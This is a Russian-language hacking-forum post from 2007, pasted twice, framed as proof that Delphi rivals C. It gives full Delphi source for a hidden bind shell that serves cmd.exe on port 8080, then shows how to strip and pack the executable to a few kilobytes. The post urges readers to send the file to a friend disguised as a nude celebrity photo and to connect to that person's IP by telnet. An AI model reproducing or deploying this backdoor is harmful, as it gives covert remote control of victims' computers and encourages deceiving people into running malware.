zl0y
20.04.2007, 11:11
Приступим....
Цель данной статьи показать что делфи ничем не хуже всяких си со всеми его плюсами !
Итак поехали!
Инструменты: Delphi3, Restorator 2007, Migeel's Realigner и FSG 2.0(можно другой).
Теперь разберем каждый инструмент по частям:
1)От делфи на ничего не нужно кроме DCC32.exe,windows.pas,winsock.pas.
2)Restorator,незнаю какую траву курил борланд когда писал делфи но факт того,что в .exe пишется совершенно бесполезная секция которая содержит информация о подключенных модулях при компиляции,гордое имя её(.RCDATA).
3)Migeel's Realigner - утилита для удаления таблицы релокаций в нашем случае таблица может быть удалена.
4)Пакер мой выбор пал на FSG(качаем с http://www.xtreeme.prv.pl).
Приступим как вы уже наверно догадались...мы будем писать шелл ;)
Почему не си со всеми его плюсами? Потому что на мой взгляд делфи легче в изучении и не уступает по возможностям и иногда и обгоняет :)
Что то я все отвлекаюсь ... приведу код шелла который был составлен мною после недолгих экспериментов :)
program Minishell;
uses
windows,WinSock;
function WSASocketA(af, wType, protocol: integer;lpProtocolInfo: pointer;g, dwFlags: dword): integer;stdcall; external 'ws2_32.dll';
var
si: TStartupInfo;
WSAData: TWSAData;
pi: TProcessInformation;
sock: integer;
sockaddr: TSockAddrIn;
sHandle: dword;
begin
WSAStartup($101, WSAData);
sock := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
sockaddr.sin_family := AF_INET;
sockaddr.sin_port := htons(8080);
bind(sock, sockaddr, 16);
listen(sock, 0);
while true do
begin
sHandle := accept(sock, nil, 0);
si.cb := SizeOf(TStartupInfo);
si.wShowWindow := SW_HIDE;
si.dwFlags := 0101;
si.hStdError := sHandle;
si.hStdInput := sHandle;
si.hStdOutput := sHandle;
CreateProcess(nil, 'cmd.exe', nil, nil, true, 0, nil, nil, si, pi);
end;
end.
Компилируем .... если вы не слепой инвалид с палочкой :D то вы наверно заметите в папке с исходником .exe файл размером (14 848 байт) Отлично скажете вы ! - Я отвечу нет ! Мы способны на большое и сейчас мы попытаемся выжать это всё из себя... Вы конечно скажете ща возму пакер и упакую ... но все равно размера менее 10 kb вы недобьётесь! Мы же поступим другим способом.
Далее рекомендую производить всю операцию по этапам,чтобы избежать ошибок !
1)Компилируем наш исходный код проекта в .exe файл.
2)Запускаем Restorator 2007 и удаляем больше ненужную нам секцию с гордым именем "RCData".
3)Используем Migeel's Realigner с параметром командной строки(realign MiniShell.exe),чтобы удалить таблицы релокаций ...которые так насильно создает делфи :p
4)Запакуем файл FSG.
Если вы все сделали правильно,то в вашей папке появиться .exe файл размером в: (7 293 байт)
Настало время для тестирования нашего шелла!
Здесь необходимо проявить фантазию кинув его другу под видом фотки голой бритни спирс :D
А далее дело уже секундное...
Пуск>>Выполнить>> cmd
Далее появиться окно наберем в нем telnet 127.0.0.1 8080. Готово сэр ! :p Вместо 127.0.0.1 конечно должен стоять ип-адрес вашего друга.
Дальше опишу второй метод но только здесь без обид .exe и исходники не дам ! Это так для коллекции :p
Результатом следующих действий стал шелл размером в 2416 байт ! Только вдумайтесь в эти цифры! Кто там пишет на VCL (380 kb) :D
Что,я использовал для получения такого результата:
1)Использование прямых вызовов к фунциям dll
2)Код на чистых asm вставках !
4)Компиллер Delphi3
5)MicroSoft линковщик или просто LINK.exe
6)Restorator 2007
7)Migeel's Realigner
8)fakecom.com переконвертурвует наш файл в .com это связанно с тем что .com файлы они же приложения MS-DOS не имеют заголовка PE файла это нам только на руку :o
9)UPX 2.93w упакует наш файл :)
Ну и наконец мы будем иметь шелл размером в 2416 байт :rolleyes:
В заключении хочу сказать что не стоит гнать на делфи пургу,так как этот путь даже и большой инструмент при умелом подходе,становиться отличным применением своих знаний готовых покорять все новые горизонты программирования ! Удачи вам в вашей деятельности чем бы вы не занимались ;) Ну вот и все :cool:
Примеры к статье(исходник,утилиты).
http://slil.ru/24264071
При перепечатывании а также копировании данной статьи ссылка на автора(меня) и первоисточник обязательна !
Цель данной статьи показать что делфи ничем не хуже всяких си со всеми его плюсами !
Итак поехали!
Инструменты: Delphi3, Restorator 2007, Migeel's Realigner и FSG 2.0(можно другой).
Теперь разберем каждый инструмент по частям:
1)От делфи на ничего не нужно кроме DCC32.exe,windows.pas,winsock.pas.
2)Restorator,незнаю какую траву курил борланд когда писал делфи но факт того,что в .exe пишется совершенно бесполезная секция которая содержит информация о подключенных модулях при компиляции,гордое имя её(.RCDATA).
3)Migeel's Realigner - утилита для удаления таблицы релокаций в нашем случае таблица может быть удалена.
4)Пакер мой выбор пал на FSG(качаем с http://www.xtreeme.prv.pl).
Приступим как вы уже наверно догадались...мы будем писать шелл ;)
Почему не си со всеми его плюсами? Потому что на мой взгляд делфи легче в изучении и не уступает по возможностям и иногда и обгоняет :)
Что то я все отвлекаюсь ... приведу код шелла который был составлен мною после недолгих экспериментов :)
program Minishell;
uses
windows,WinSock;
function WSASocketA(af, wType, protocol: integer;lpProtocolInfo: pointer;g, dwFlags: dword): integer;stdcall; external 'ws2_32.dll';
var
si: TStartupInfo;
WSAData: TWSAData;
pi: TProcessInformation;
sock: integer;
sockaddr: TSockAddrIn;
sHandle: dword;
begin
WSAStartup($101, WSAData);
sock := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
sockaddr.sin_family := AF_INET;
sockaddr.sin_port := htons(8080);
bind(sock, sockaddr, 16);
listen(sock, 0);
while true do
begin
sHandle := accept(sock, nil, 0);
si.cb := SizeOf(TStartupInfo);
si.wShowWindow := SW_HIDE;
si.dwFlags := 0101;
si.hStdError := sHandle;
si.hStdInput := sHandle;
si.hStdOutput := sHandle;
CreateProcess(nil, 'cmd.exe', nil, nil, true, 0, nil, nil, si, pi);
end;
end.
Компилируем .... если вы не слепой инвалид с палочкой :D то вы наверно заметите в папке с исходником .exe файл размером (14 848 байт) Отлично скажете вы ! - Я отвечу нет ! Мы способны на большое и сейчас мы попытаемся выжать это всё из себя... Вы конечно скажете ща возму пакер и упакую ... но все равно размера менее 10 kb вы недобьётесь! Мы же поступим другим способом.
Далее рекомендую производить всю операцию по этапам,чтобы избежать ошибок !
1)Компилируем наш исходный код проекта в .exe файл.
2)Запускаем Restorator 2007 и удаляем больше ненужную нам секцию с гордым именем "RCData".
3)Используем Migeel's Realigner с параметром командной строки(realign MiniShell.exe),чтобы удалить таблицы релокаций ...которые так насильно создает делфи :p
4)Запакуем файл FSG.
Если вы все сделали правильно,то в вашей папке появиться .exe файл размером в: (7 293 байт)
Настало время для тестирования нашего шелла!
Здесь необходимо проявить фантазию кинув его другу под видом фотки голой бритни спирс :D
А далее дело уже секундное...
Пуск>>Выполнить>> cmd
Далее появиться окно наберем в нем telnet 127.0.0.1 8080. Готово сэр ! :p Вместо 127.0.0.1 конечно должен стоять ип-адрес вашего друга.
Дальше опишу второй метод но только здесь без обид .exe и исходники не дам ! Это так для коллекции :p
Результатом следующих действий стал шелл размером в 2416 байт ! Только вдумайтесь в эти цифры! Кто там пишет на VCL (380 kb) :D
Что,я использовал для получения такого результата:
1)Использование прямых вызовов к фунциям dll
2)Код на чистых asm вставках !
4)Компиллер Delphi3
5)MicroSoft линковщик или просто LINK.exe
6)Restorator 2007
7)Migeel's Realigner
8)fakecom.com переконвертурвует наш файл в .com это связанно с тем что .com файлы они же приложения MS-DOS не имеют заголовка PE файла это нам только на руку :o
9)UPX 2.93w упакует наш файл :)
Ну и наконец мы будем иметь шелл размером в 2416 байт :rolleyes:
В заключении хочу сказать что не стоит гнать на делфи пургу,так как этот путь даже и большой инструмент при умелом подходе,становиться отличным применением своих знаний готовых покорять все новые горизонты программирования ! Удачи вам в вашей деятельности чем бы вы не занимались ;) Ну вот и все :cool:
Примеры к статье(исходник,утилиты).
http://slil.ru/24264071
При перепечатывании а также копировании данной статьи ссылка на автора(меня) и первоисточник обязательна !